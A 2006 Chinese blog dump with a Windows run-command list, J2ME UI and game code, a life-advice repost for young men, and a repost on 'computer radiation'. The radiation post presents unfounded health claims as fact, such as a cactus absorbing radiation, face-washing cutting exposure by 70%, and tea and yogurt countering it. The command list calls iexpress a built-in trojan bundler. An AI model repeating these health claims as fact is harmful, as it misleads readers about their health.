72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

73.?[cmd]:同help.

#11 十一:

7:计算机运行命令全集 winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
wscript--------windows脚本宿主设置
write----------写字板winmsd-----系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况
Msconfig.exe---系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查DirectX信息
drwtsn32------ 系统医生
devmgmt.msc--- 设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕"讲述人"
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow---windows文件保护
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介(安装完成后出现的漫游xp程序)
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce -p ----15秒关机
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------**整理
ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具,系统自带
Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略

posted @ 2006-12-30 09:24 路是爬出来的 阅读(187) | 评论 (0)编辑 收藏

觉的有些论坛不爽

今天浏览此网站.发现有新的东西见到一个论坛http://gocom.primeton.com/modules/newbb/titleflat_4824_30.htm
稍微看了下,觉得里面的标题还不错.进去看了下,觉得好郁闷好多论坛帖子要求回复才可以浏览。这不是明摆者要我注册码?
说句心里话,我很讨厌这种做法。不过你的写多么棒,如果要拿除来分享,我觉得完全是没必要强制读者做出一些没必要的动作。如果不想分享,写在本子上别发表出来。觉得这样做只会让我感到厌恶。打击我对此的形象。
这样的感觉不爽。

posted @ 2006-12-30 09:24 路是爬出来的 阅读(171) | 评论 (0)编辑 收藏

关于Map.entrySet()的疑惑

前几天项目用到Map,接着调用Map.entrySet(),结果产生了一些意外的后果.
就是,持久化数据数据的时候出现setter of com.hiber.Hibernate.Test.id 异常.
此异常是提醒,pojo里面未有属性的getter.
因为我在其他方法里面保存过,未曾出现异常,觉得甚是奇怪.后来发现,原来是Map.entrySet()搞的鬼,根据java api.
返回此映射中包含的映射关系的 set 视图。返回的 set 中的每个元素都是一个 Map.Entry。该 set 受映射支持,所以对映射的改变可在此 set 中反映出来,反之亦然。如果修改映射的同时正在对该 set 进行迭代(除了通过迭代器自己的 remove 操作,或者通过在迭代器返回的映射项上执行 setValue 操作外),则迭代结果是不明确的。set 支持通过 Iterator.remove、Set.remove、removeAll、retainAll 和 clear 操作实现元素移除,即从映射中移除相应的映射关系。它不支持 add 或 addAll 操作。
为此,我写了一个测试代码.

代码

posted @ 2006-12-30 09:24 路是爬出来的 阅读(1033) | 评论 (0)编辑 收藏

以前设计的一款小游戏共享出来

具体看源代码.里面可能存在一些bug

posted @ 2006-12-30 09:24 路是爬出来的 阅读(269) | 评论 (1)编辑 收藏

j2me常用的字符,日期,以及转换编码实现

代码

代码

代码

posted @ 2006-12-30 09:24 路是爬出来的 阅读(214) | 评论 (0)编辑 收藏

RMS详细例子

RMS详细解答
RMS(Record Management System)是MIDP中一个非常重要的子系统.
它提供了对数据的持久存储.对于存放程序数据是个唯一的选择(如果不用jsr75规范的话).
对于jsr75,我在以前的文章里已经有了篇详细的例子,大家可以参考下.
http://wuhua.javaeye.com/admin/show/28712
对于RMS里面的API可以实现对数据的存取跟排序等功能.

实在不知道怎么写文章,只能那例子出来说了.

posted @ 2006-12-30 09:24 路是爬出来的 阅读(251) | 评论 (1)编辑 收藏

设计可组装的j2me UI(一) 核心部件

最近发现很多朋友在设计j2me程序的时候,在有些关键的UI设计都放弃j2me提供的高级UI。而自己通过继承Canvas,而实现自己想要的效果。游戏的菜单设计一般都是这样。设计自己的UI是比较困难的,因为自己要控制屏幕的各个元素跟各个元素的低级事件。我想这些不是问题。主要还是很少有教程手把手的教你。小第我经过一个项目,而起这个项目的UI全部是自己实现。所以在这方面算是有点点经验。所以拿出来给大家分享下。
我的设计思想是这样的。
1。手机CPU,内存等资源都有限。手机屏幕各个厂商各不相同。
2。手机基本不用考虑,窗口移动,拖动,缩放,重叠,窗口至顶等问题。
3。手机窗口事件不用考虑,拖动,移动,缩放,鼠标等时间。因此问题就相对简单了。
4:我们只需要实现,UI的显示跟文字,图片的排版显示,已经文字的滚动显示等。

下面将是一些片段代码,希望。
首先设计两个核心的类。
1。Part -- 窗口显示部件。主要是一些可以组装的组件例如(TextField,TextBox)等

代码

上面的类不足以显示,主要是通过下面的类,通过addPart方法添加进去。

代码

以上就是UI的核心,以后我将会逐渐介绍其他的组件跟相关的事件接口。读者也可以自己实现一些有意思的界面然后测试下,我相信效果会更好

posted @ 2006-12-30 09:24 路是爬出来的 阅读(276) | 评论 (0)编辑 收藏

设计可组装的j2me UI(三) TextBox

自己实现操作Canvas,很大部分是对文字的显示以及排版操作。而对字体的定义则每个厂商都有自己的规范,必然nokia定义了大,中,小字体。而我在其他手机上只有一种字体,所以无论你怎么样定义字体的大小都只有一种效果,这样的话。你可能要在程序中自己进行判断,然后在显示出来。要不然的话,则写出的程序在各个机型上显示的效果会有一些不同。
下面让我们来设计可以滚动的TextBox.
首先继承Part(UI的第一篇文章有给出代码)

代码

以上代码是基本框架。思路就这样。实践起来也不困难。

posted @ 2006-12-30 09:24 路是爬出来的 阅读(201) | 评论 (0)编辑 收藏

游戏入门之四 雷电 GameThread

        个人认为游戏最难控制的就是这些线程了。如果游戏复杂的话。为了避免资源冲突,死锁等。这方面对程序要求是很高的。还好。我那个游戏很简单,所以就不用考虑到这些。

      只要一个最重要的东西就行了。

java 代码


 


  1. //无非是要程序不停的运行,直到游戏结束为之

  2. while (true) {  

  3.             game.run();  

  4.             try {  

  5.                 Thread.sleep(80); // 线程延迟  

  6.             } catch (InterruptedException ie) {  

  7.             }  

  8. }  



   

java 代码


 


  1. /******************************************************************** 

  2.  * 项目名称             :<b>j2me学习</b>          <br/> 

  3.  *  

  4.  * Copyright 2005-2006 Wuhua. All rights reserved 

  5.  ********************************************************************/  

  6. package org.wuhua.battleplan;  

  7.   

  8. import javax.microedition.lcdui.Display;  

  9.   

  10. /** 

  11.  * <b>类名:GameThread.java</b> </br> 编写日期: 2006-11-30 <br/> 

  12.  * 程序功能描述:游戏线程控制类,主要负责按照一定的时间刷新屏幕,来控制画面 . 

  13.  * 因为程序是每80毫秒刷新一次,所以在控制子弹跟飞机的时候,建议设计着应该在那边控制 

  14.  * <br/> Demo: <br/> Bug: <br/> 

  15.  *  

  16.  * 程序变更日期 :<br/> 变更作者 :<br/> 变更说明 :<br/> 

  17.  *  

  18.  * @author wuhua </br> <a href="mailto:rrq12345@163.com">rrq12345@163.com</a> 

  19.  */  

  20. public class GameThread implements Runnable {  

  21.   

  22.     private Game game;  

  23.     GameThread(){  

  24.         game = new Game();  

  25.     }  

  26.     public void run() {  

  27.         gameRun();  

  28.   

  29.     }  

  30.       

  31.     public void init(){  

  32.         game.init();  

  33.     }  

  34.     public void open(Display d){  

  35.         d.setCurrent(game);  

  36.     }  

  37.   

  38.     private void gameRun() {  

  39.         while (true) {  

  40.             game.run();  

  41.             try {  

  42.                 Thread.sleep(80); // 线程延迟  

  43.             } catch (InterruptedException ie) {  

  44.             }  

  45.         }  

  46.   

  47.     }  

  48.   

  49. }  


posted @ 2006-12-30 09:24 路是爬出来的 阅读(183) | 评论 (0)编辑 收藏

设计可组装的j2me UI(二) 一些系统边缘核心的开发

大家都知道。设计一个好的软件,无非是要求程序稳定,可扩展,可修改跟可移值。在没有出现j2me之前,写手机程序是一件很痛苦的事情。因为你要针对很多的机型进行设计,因此导致了很少人会去涉及。因为设计这样的程序对程序员来说是个挑战。现在不同了。有了j2me使开放手机软件变的容易,而且很快乐。
定义一个与平台无关的各个参数的类,比如把按键的键值放在这里。这样以后修改起来就很方便。

代码

代码

代码

以上是本人经过互联网学习,上面的一些代码出自一些开源的。
大家可以按照需要修改。共同学习。

posted @ 2006-12-30 09:24 路是爬出来的 阅读(95) | 评论 (0)编辑 收藏

设计可组装的j2me UI(四) 时间控件

       开放过项目的人都知道。用户的需求是时刻变化的。我们要做到的只是不断的去适应这种变化。因为给钱的是人家。

       今天这篇文章让我们来学习怎么样设计一个可以在j2me低级UI上显示的时钟。经过前面几篇文章相信大家都知道我的UI设计思路了。我们现在要做的就是设计一个Part(这个是什么来的,呵呵。如果没看过我前面文章的朋友们,建议你们先读下,我想会有好处的。^_^)。

      我的控件思路是这样的。首先在整个屏幕中拿出一小块出来。然后在这一小块里面绘制显示时间(时间可以是纯文字,也可以是图片等),然后我们实现Runnable接口,让它没秒钟都刷新一下那一小块屏幕。是不是很简单呢。呵呵。下面让我们来看下具体代码吧

java 代码


 


  1. /******************************************************************** 

  2.  * 

  3.  * 版权说明,此程序仅供学习参考。不能用于商业 

  4.  * 

  5.  ********************************************************************/  

  6. package org.pook.ui;  

  7.   

  8. import java.util.TimerTask;  

  9.   

  10. import javax.microedition.lcdui.Display;  

  11. import javax.microedition.lcdui.Displayable;  

  12. import javax.microedition.lcdui.Graphics;  

  13.   

  14. import org.pook.file.BookFileManager;  

  15. import org.pook.log.Log;  

  16. import org.pook.ui.core.Platform;  

  17. import org.pook.ui.form.Panel;  

  18. import org.pook.ui.timer.TimerTaskManager;  

  19. import org.pook.ui.util.GraphicsUtil;  

  20. import org.pook.util.DateTime;  

  21.   

  22. /** 

  23.  * 类名:TimerPart.java 

  24.  

  25.  * 编写日期: 2006-9-29 

  26.  

  27.  * 程序功能描述�? 

  28.  

  29.  * Demo: 

  30.  

  31.  * Bug: 

  32.  

  33.  * 

  34.  * 程序变更日期 

  35.  

  36.  * 变更作�?? 

  37.  

  38.  * 变更说明 

  39.  

  40.  * 

  41.  * @author wuhua 

  42. rrq12345@163.com 

  43.  */  

  44. public class TimerPart extends Part implements Runnable{  

  45.   

  46.     Log log = Log.getLog("TimerPart");  

  47.      

  48.     /** 时间显示字段     */  

  49.     private static int hour ;  

  50.     private static int minute;  

  51.     private static int second;  

  52.      

  53.     private static String time;  

  54.      

  55.     /** 用于执行消失窗口 */  

  56.     protected TimerTask task;  

  57.      

  58.     /** 获取系统时间 **/  

  59.     private DateTime dt;  

  60.      

  61.      

  62.      

  63.     private Display display;  

  64.     private Displayable displayable;  

  65.   

  66.     private String h;  

  67.   

  68.     private String m;  

  69.   

  70.     private String s;  

  71.      

  72.     public TimerPart(Display display) {  

  73.         super(Platform.WIDTH - 4504520);  

  74.         dt = new DateTime();  

  75.         hour = dt.hour ;  

  76.         minute = dt.minute ;  

  77.         second = dt.second ;  

  78.    

  79.          time = hour + ":" + minute + ":" + second;  

  80.            

  81.        

  82.         task = TimerTaskManager.getInstace().add(this1000);  

  83.         this.display = display;  

  84.     }  

  85.   

  86.     public void paint(Graphics g) {  

  87.         g.setColor(0x00000);  

  88.         g.drawString(time.toString(), view[X], view[Y], Graphics.TOP |  

  89.                 Graphics.LEFT);  

  90.     //    GraphicsUtil.darwString(g,new Boolean(BookFileManager.available()).toString(), view[X], view[Y]);  

  91.   

  92.     }  

  93.   

  94.     public void onClick(int keyCode) {  

  95.        

  96.     }  

  97.   

  98.     /** 

  99.      * 刷新时间的方法,每隔1秒钟刷新�?�? 

  100.      */  

  101.     public void run() {  

  102.            

  103.          

  104.         //更新时间  

  105.          updateTime();  

  106.          repaintTime();  

  107.          

  108.     }  

  109.      

  110.     /** 

  111.      * 这里本不应该与程序又任何关联的�?�但考虑到�?��?? 

  112.      * �?以就先这样先 

  113.      * 

  114.      */  

  115.     private void repaintTime() {  

  116.         if(display == null)  

  117.             return;  

  118.         displayable = display.getCurrent();  

  119.         if(displayable instanceof Panel){  

  120.             Panel panel = (Panel)displayable;  

  121.             panel.repaintTimer();  

  122.         }  

  123.     }  

  124.   

  125.     /** 

  126.      * 更新时间,频率是1�? 

  127.      * 

  128.      */  

  129.     private void updateTime() {  

  130.         second ++ ;  

  131.         if(second == 60){  

  132.             second = 0;  

  133.             minute ++ ;  

  134.         }  

  135.          

  136.         if(minute == 60){  

  137.             minute = 0;  

  138.             hour ++ ;  

  139.         }  

  140.          

  141.         if(hour == 24 && minute == 0){  

  142.             hour = 00;  

  143.         }  

  144.          

  145.         h =   hour<10?("0"+hour):hour + "" ;  

  146.         m =    minute<10?("0"+minute):minute + "";  

  147.         s =   second<10?("0"+second):second + "";  

  148.          

  149.         time = h + ":" + m + ":" + s;  

  150.     }  

  151.   

  152.   

  153.   

  154.   

  155. }  







具体的详细例子在: 手机电子书阅读软件基本框架  wuhua.javaeye.com/admin/show/28821

看看这图片:

posted @ 2006-12-30 09:24 路是爬出来的 阅读(448) | 评论 (0)编辑 收藏

25岁男人必读(转)

1.男人是社会的主体,不管你信或不信.所以男人应该有种责任感.



2.25岁之前,请记得,爱情通常是假的,或者不是你所想象的那样纯洁和永远.如果你过了25岁,那么你应该懂得这个道理.





3.吃饭7成饱最舒服.对待女友最多也请你保持在7成.



4.30岁之前请爱惜自己的身体,前30年你找病,后30年病找你.如果你过了30岁,你自然也会懂得这个道理.



5.事业远比爱情重要.如果说事业都不能永恒,那么爱情只能算是昙花一现.



6.不要轻易接受追求你的女孩.女追男隔层纱.如果你很容易就陷进去,你会发现你会错过很多东西,失去很多东西.



7.请你相信,能用钱解决的问题,都不是问题.如果你认为钱索王道,有钱有女人,没钱没女人,那么.女人不是问题.



8.请永远积极向上.每个男人都有他可爱的地方,但是不可爱的地方只有不积极面对生活.



9.不要连续2次让同一个女人伤害.好马不吃回头草,是有他道理的.如果认真考虑过该分手,那么请不要做任何舍不得的行动.



10.如果你和你前女友能做朋友,那么你要问自己:为什么?如果分手后还是朋友,那么只有2个可能:.你们当初都只是玩玩而已,没付出彼此最真的感情.或者:必定有个人是在默默的付出无怨无悔!



11.永远不要太相信女人在恋爱时的甜言蜜语.都说女人爱听甜言蜜语,其实,男人更喜欢.



12.请不要为自己的相貌或者身高过分担心和自卑.人是动物,但是区别于动物.先天条件并不是阻挡你好好生活的借口.人的心灵远胜于相貌,请相信这点.如果有人以相貌取人,那么你也没必要太在意.因为他从某种意义来讲,只是只动物.你会跟动物怄气吗?



13.失恋时,只有2种可能,要么你爱她她不爱你,或者相反.那么,当你爱的人不再爱你,或者从来没爱过你时.你没有遗憾,因为你失去的只是一个不爱你的人.



14.请不要欺骗善良的女孩.这个世界上,善良的女孩太少.



15.不能偏激的认为金钱万能,至少,金钱治不好艾滋病.



16.请一定要有自信.你就是一道风景,没必要在别人风景里面仰视.



17.受到再大的打击,只要生命还在,请相信每天的太阳都是新的.



18.爱情永远不可能是天平.你想在爱情里幸福就要舍得伤心.



19.如果你喜欢一个认为别人应该对她好的mm,请尽早放弃.没有人是应该对一个人好的.如果她不明白这个道理,也就是她根本不懂得珍惜.



20.不要因为寂寞而’找’gf,寂寞男人请要学会品味寂寞.请记住:即使寂寞,远方黑暗的夜空下,一定有人和你一样,寂寞的人不同,仰望的星空却是唯一.



21.任何事没有永远.也别问怎样才能永远.生活有很多无奈.请尽量充实自己,充实生活.请善待生活.



End.男人有很多无奈,生活很累但是因为生活才有意义.当你以为你一无所有时,你至少还有时间,时间能抚平一切创伤.所以请不要流泪

posted @ 2006-12-30 09:24 路是爬出来的 阅读(117) | 评论 (0)编辑 收藏

如何预防电脑辐射(转自j2medev)

原文出自

www.j2medev.com/blog/user1/32652/archives/2006/1819.html



关于电脑辐射的危害大家一定都很清楚,但恐怕并非每个人都清楚该怎样预防电脑辐射,于是在下转了几个帖,考虑到我们整天都坐在电脑面前,为了我们的健康,抽点时间,关心一下,相信一定对你有百利而无一害。



一 防电脑辐射10招

电脑辐射是不可避免的,但可以减少。以下是一些预防电脑辐射的方法:



1.应尽可能购买新款的电脑,一般不要使用旧电脑,旧电脑的辐射一般较厉害,在同距离、同类机型的条件下,一般是新电脑的1-2倍。



2.注意室内通风。科学研究证实,电脑的荧屏能产生一种叫溴化二苯并呋喃的致癌物质。所以,放置电脑的房间最好能安装换气扇,倘若没有,上网时尤其要注意通风。



3.电脑摆放位置很重要。尽量别让屏幕的背面朝着有人的地方,因为电脑辐射最强的是背面,其次为左右两侧,屏幕的正面反而辐射最弱。



4.室内不要放置闲杂金属物品,以免形成电磁波的再次发射。



5.操作电脑时最好在显示屏上安一块电脑专用滤色板以减轻辐射的危害。



6.使用电脑时,要调整好屏幕的亮度,一般来说,屏幕亮度越大,电磁辐射越强,反之越小。不过,也不能调得太暗,以免因亮度太小而影响效果,且易造成眼睛疲劳。



7.使用电脑时,还要注意与屏幕保持适当距离。离屏幕越近,人体所受的电磁辐射越大,因此较好的是距屏幕半米以外。



8.使用电脑后,脸上会吸附不少电磁辐射的颗粒,因此,要及时用清水洗脸,这样将使所受辐射减轻70%以上。



9.可在电脑桌前放置一盆仙人掌,这样有助于减少辐射。



10. 要注意饮食。对于生活紧张而忙碌的人群来说,抵御电脑辐射最简单的办法就是在每天上午喝2至3杯的绿茶,吃一个橘子。茶叶中含有丰富的维生素A原,它被人 体吸收后,能迅速转化为维生素A。维生素A不但能合成视紫红质,还能使眼睛在暗光下看东西更清楚,因此,绿茶不但能消除电脑辐射的危害,还能保护和提高视 力。如果不习惯喝绿茶,菊花茶同样也能起着抵抗电脑辐射和调节身体功能的作用。



二 防电脑辐射有妙招

关键词语:注意酌情多吃一些胡萝卜、豆芽、西红柿、瘦肉、动物肝等富含维生素A、C和蛋白质的食物,经常喝些绿茶等等。





使用电脑时,最好在显示器前配备质量较好的防辐射屏。注意酌情多吃一些胡萝卜、豆芽、西红柿、瘦肉、动物肝等富含维生素A、C和蛋白质的食物,经常喝些绿茶等等。





对于生活紧张而忙碌的人群来说,抵御电脑辐射最简单的办法就是在每天上午喝2至3杯的绿茶,吃一个橘子。茶叶中含有丰富的维生素A原,它被人体吸收后, 能迅速转化为维生素A。维生素A不但能合成视紫红质,还能使眼睛在暗光下看东西更清楚,因此,绿茶不但能消除电脑辐射的危害,还能保护和提高视力。如果不 习惯喝绿茶,菊花茶同样也能起着抵抗电脑辐射和调节身体功能的作用。





电脑辐射是不可避免的,但可以减少。首先,应尽可能 购买新款的电脑,一般不要使用旧电脑,旧电脑的辐射一般较厉害,在同距离、同类机型的条件下,一般是新电脑的1-2倍。操作电脑时最好在显示屏上安一块电 脑专用滤色板以减轻辐射的危害,室内不要放置闲杂金属物品,以免形成电磁波的再次发射。使用电脑时,要调整好屏幕的亮度,一般来说,屏幕亮度越大,电磁辐 射越强,反之越小。不过,也不能调得太暗,以免因亮度太小而影响效果,且易造成眼睛疲劳。还要注意与屏幕保持适当距离。离屏幕越近,人体所受的电磁辐射越 大,因此较好的是距屏幕半米以外。





电脑使用后,脸上会吸附不少电磁辐射的颗粒,要及时用清水洗脸,这样将使所受辐射减轻70%以上。





仙人掌除了可以攻击坏人,还有一项好处喔!据说在计算机桌前放置一仙人掌有助于减少辐射。





常用电脑的人会感到眼睛不适,视力下降,易有疲劳的感觉。常用电脑的人在饮食上应注意以下几方面:





吃一些对眼睛有益的食品,如鸡蛋、鱼类、鱼肝油、胡萝卜、菠菜、地瓜、南瓜、枸杞子、菊花、芝麻、萝卜、动物肝脏等。





多吃含钙质高的食品,如豆制品、骨头汤、鸡蛋、牛奶、瘦肉、虾等。





注意维生素的补充:多吃含有维生素的新鲜水果、蔬菜等。





注意增强抵抗力:多吃一些增强机体抗病能力的食物,如香菇、蜂蜜、木耳、海带、柑桔、大枣等。





吃一些抗辐射的食品:电脑虽然对人体健康影响较小,但也应预防。饮茶能降低辐射的危害,茶叶中的脂多糖有抗辐射的作用。螺旋藻、沙棘油也具有抗辐射的作用。





另外,用完电脑应洗脸,平时应注意锻炼身体。





电脑摆放位置很重要。尽量别让屏幕的背面朝着有人的地方,因为电脑辐射最强的是背面,其次为左右两侧,屏幕的正面反而辐射最弱。以能看清楚字为准,至少也要50厘米到75厘米的距离,这样可以减少电磁辐射的伤害。





注意室内通风:科学研究证实,电脑的荧屏能产生一种叫溴化二苯并呋喃的致癌物质。所以,放置电脑的房间最好能安装换气扇,倘若没有,上网时尤其要注意通风。





三 如何避免电脑辐射

电脑在使用过程中,显示屏会发出电磁、电离辐射。经常在电脑前工作,会使人体皮肤老化,造成皮肤粗糙,甚至还会引起皮肤发炎等病变。要防止电脑辐射,应从以下己方面入手:



在 选购电脑时,应尽可能购买新的保健型绿色电脑,一般不要使用旧电脑,旧电脑的辐射剂量较大,在同距离、同类机型的条件下,一般是新电脑的1--2倍。操作 电脑时最好在显示屏上安一块电脑专用滤色板以减轻辐射的危害,室内不要放置闲杂金属物品,以免形成电磁波的再次发射。





使用电脑时,要调整好屏幕的亮度,一般来说,屏幕亮度越大,电磁辐射越强,反之越小。不过,也不能调得太暗,以免因亮度太小而影响收视效果,且易造成眼睛疲劳。



在操作电脑时,要注意与屏幕保持适当距离。离屏幕越近,人体所受的电磁辐射越大,因此较好的是距屏幕0.5M以外。





此外,在操作电脑后,脸上会吸附不少电磁辐射的颗粒,要及时用清水洗脸,这样将使所受辐射减轻70%以上。



四 喝酸奶能减轻电脑辐射



早晚喝一杯牛奶已经成为很多人的好习惯,可你知道吗,午饭时或午饭后喝一杯酸奶,对健康也能起到重要的作用。



根据统计资料显示,我们每天早餐的热能供应占当日总热能需求的25%-30%,因此,早餐时喝一杯牛奶能够有效地补充热能;晚上临睡前喝一杯则有助于增加睡眠质量,让你进入深度熟睡状态,还能保证牛奶营养的充分吸收和消化。



那么,午餐时喝酸奶有什么好处呢?专家指出,酸奶中含有大量的乳酸、醋酸等有机酸,它们不仅赋予了酸奶清爽的酸味,还能帮助它形成细嫩的凝乳,从而抑制 有害微生物的繁殖,同时,使肠道的碱性降低,酸性增加,促进胃肠蠕动和消化液的分泌。此外,随着酸奶的生产技术、生产工艺不断进步,一些乳品大品牌,如蒙 牛等,已经将其酸奶产品中的益生菌由2种变成了4种,这样不仅酸奶的营养价值比同类产品有了明显提高,其帮助消化、抑制有害菌的作用也得到了进一步的加 强。



千万别小看酸奶的这些作用,这对于那些吃完午餐就坐在电脑前不再活动,容易导致消化不良或脂肪积累的上班族来说,非常有益。同 时,酸奶中的酪氨酸对于缓解心理压力过大、高度紧张和焦虑而引发的人体疲惫有很大的帮助。经过乳酸菌发酵,酸奶中的蛋白质、肽、氨基酸等颗粒变得微小,游 离酪氨酸的含量大大提高,吸收起来也更容易。午饭时或午饭后喝一杯酸奶,可以让上班族放松心情,在整个下午都精神抖擞,更有利于提高工作效率。



据一项最新的研究发现,酸奶还具有减轻辐射损伤、抑制辐射后人的淋巴细胞数目下降的作用。动物实验证明,摄入酸奶后的小鼠对辐射的耐受力增强,并减轻了 辐射对免疫系统的损害。对于那些长时间面对电脑,每时每刻笼罩在电磁辐射中的上班族来说,利用午饭的时间喝一杯酸奶,对健康非常有益。



五 隔离霜是否能隔离电脑辐射?

这也是许多JM关心的一个问题,我个人的答案是不能的。电脑辐射的大部分属于低频辐射,它的波长约为6.5cm,而隔离霜和防晒霜针对的主要是波长0.01-0.40微米的紫外线,,JMS可以自己考虑一下它对于电脑辐射有什么作用。





但是,隔离霜对电脑使用者是有一定好处的。那是因为电脑除了辐射会对人体造成伤害以外,电脑屏幕的静电效应会吸附大量空气中的微尘。简而言之,使用电脑时,我们的皮肤是处在一个相当“脏”的环境中,使用电脑时擦隔离霜可以减少灰尘对皮肤的伤害。







除此以外,我还了解到有一些防辐用品,介绍如下:

1.备长炭

就是一种有吸收电磁波功能的竹炭,曾经在google上搜过,但可惜只了解到在台湾和日本有卖,价格也很贵,要600元左右。

下面也是从别的地方转过来的:



竹炭防辐射的原理

经1000 度以上高温烧成的竹炭,竹子高温炭化后具有导电性。当年爱迪生在寻找灯泡导电材料时,曾使用高温烧制的竹炭,当成灯泡中导电灯丝。在电器周围摆放具有导电 性能的竹炭,籍着竹炭的良好导电性能,将周围电器形成的电磁波引导排除——这种作用就有点像利用避电针来防止打雷时被雷击。



在接触身体较频繁的电器(如电视、电脑、微波炉)周边,摆放竹炭,对电磁波具有某种程度阻隔效果,间接促进身体健康。例如在电视等电器前后左右都放上数根竹炭,或在旁边置放一整篓(到少1。5公斤)以上竹炭,就可阻隔部分电磁波。



另外科学家们正积极研究以竹炭做出[防护罩],用来罩住电器产生的电磁波。



2.种植物

听说种阔叶型的植物能有效地吸收电磁波,但前提是规模要达到热带雨林的程度,不太可行



3.低频辐射消除器

是一种像接线板一样的东西。

下面是引用广告里的一句话,估计有偏颇:

此产品能在电源供应同时,改变电荷运动方向,瞬间将主机、显示器、键盘、鼠标、打印机、扫描仪等产生的有害电磁波辐射经由电源零线回路彻底导除。

posted @ 2006-12-30 09:24 路是爬出来的 阅读(126) | 评论 (0)编辑 收藏

设计可组装的j2me UI(五) List

        高级UI中的List控件对于广大应用来说是足够的。但有些特别需求的功能确不得不自己开发,比如实现没一行字体颜色不同,字体样式不同,还有排版等方面问题时候则要自己动手实现一个了。下面把我在项目中学习到得经验与大家分享下。

       但是客户有个需求,说你这个List需要翻页,我要求输入什么键你进行上下翻页。我要求在每一行字体里面包含一些不同颜色得字,根据XP,好我拥抱需求。所以让我们来看下怎么修改程序得。

      注意在看这篇文章之钱,请稍微留意下在下得前面几篇文章。谢谢,^_^

      代码如下,我会加比较多得注释



java 代码


 


  1. /******************************************************************** 

  2.  *  

  3.  * 版权说明,此程序仅供学习参考。不能用于商业 

  4.  *  

  5.  ********************************************************************/  

  6. package org.pook.ui;  

  7.   

  8. import java.util.Vector;  

  9.   

  10. import javax.microedition.lcdui.Graphics;  

  11. import javax.microedition.lcdui.Image;  

  12.   

  13. import org.pook.ui.core.Platform;  

  14. import org.pook.ui.util.GraphicsUtil;  

  15.    

  16.   

  17. /** 

  18.  * 类名:List.java 

     
     

  19.  * 编写日期: 2006-10-14 

     

  20.  * 程序功能描述:实现Part部件,而获取可按照自己要求得效果得List

     

  21.  * Demo: 

     

  22.  * Bug: 

     

  23.  *  

  24.  * 程序变更日期 :

     
     

  25.  * 变更作者 :

     
     

  26.  * 变更说明 :

     

  27.  *  

  28.  * @author wuhua 

     
     

  29.  */  

  30. public class List extends Part {  

  31.     Image icon;  

  32.     Vector items;        

  33.     int numOfEls;   

  34.     int paintSize;  

  35.     int space;  

  36.     /** 开始索引 * */  

  37.     private int startIndex;  

  38.     





  39.     public List(Image icon) {  

  40.         super(021, Platform.WIDTH, Platform.HEIGHT - 41);  

  41.         this.icon = icon;  

  42.         items = new Vector();  

  43.            

  44.     }  

  45.    


  46.    /** 主要是根据屏幕变化而改变各个StringItem的位置跟当前屏幕可以显示StringItem的大小* */ 


  47.  


  48.     public void changeViewAndSize(){  

  49.         if (Platform.HEIGHT - 20 > view[HEIGHT]) {  

  50.             view[HEIGHT] = Platform.HEIGHT - 41;  

  51.             space = font.getHeight() + 2;  

  52.             paintSize  = view[HEIGHT] / space;  

  53.         }  

  54.     }  

  55.    


  56.     public void append(Vector items){  

  57.         if(items == null)  

  58.             return;  

  59.         this.items = items;  

  60.         this.numOfEls = items.size();  

  61.     }  

  62.   

  63.     public void append(String stringItem){  

  64.         this.items.addElement(stringItem);  

  65.         this.numOfEls = items.size();  

  66.     }  

  67.       

  68.       

  69.     public void insert(String stringItem){  

  70.         this.items.insertElementAt(stringItem,0);  

  71.         this.numOfEls = items.size();  

  72.     }  

  73.       

  74.     public int getSelectIndex(){  

  75.         return this.selectIndex;  

  76.     }  

  77.       

  78.     public String getSelectString(){  

  79.         //System.out.println(this.numOfEls);  

  80.         return (String) this.items.elementAt(selectIndex+startIndex );  

  81.     }  

  82.       

  83.     public void paint(Graphics g) {  

  84.         changeViewAndSize();  

  85.         GraphicsUtil.fillScreen(g, this.bgColor, view[X], view[Y], view[WIDTH], view[HEIGHT]);  

  86.         paintStrings(g);  

  87.     }  

  88.   

  89.     private void paintStrings(Graphics g) {  

  90.       

  91.         if (items.size() == 0)  

  92.             return;  

  93.         int size = this.paintSize > this.numOfEls? this.numOfEls:this.paintSize + startIndex;  

  94.           

  95.         paintSelect(g, view[Y] + space * selectIndex + 2 );  

  96.           

  97.         g.setColor(this.fontColor);  

  98.           
